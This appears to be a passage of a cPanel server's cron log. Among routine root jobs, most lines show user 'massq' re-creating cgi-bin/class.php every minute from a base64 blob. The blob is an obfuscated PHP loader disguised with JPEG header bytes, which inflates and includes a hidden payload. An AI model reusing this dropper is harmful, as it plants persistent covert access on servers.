Apr 11 13:59:01 server CROND[5078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:00:01 server CROND[5152]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 14:00:01 server CROND[5151]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 11 14:00:01 server CROND[5153]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 14:00:01 server CROND[5154]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 14:00:01 server CROND[5157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:01:01 server CROND[5289]: (root) CMD (run-parts /etc/cron.hourly)
Apr 11 14:01:01 server CROND[5290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:01:01 server run-parts(/etc/cron.hourly)[5289]: starting 0anacron
Apr 11 14:01:01 server run-parts(/etc/cron.hourly)[5302]: finished 0anacron
Apr 11 14:02:01 server CROND[5368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:03:01 server CROND[5423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:04:01 server CROND[5572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:05:01 server CROND[5635]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr 11 14:05:01 server CROND[5634]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 14:05:01 server CROND[5636]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 14:05:01 server CROND[5637]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 14:05:01 server CROND[5642]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:06:01 server CROND[5779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:07:01 server CROND[5839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:08:01 server CROND[5875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:09:01 server CROND[5934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:09:01 server CROND[5935]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 14:10:01 server CROND[6109]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 14:10:01 server CROND[6110]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:10:01 server CROND[6112]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 14:10:01 server CROND[6111]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 14:11:01 server CROND[6231]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:12:01 server CROND[6295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 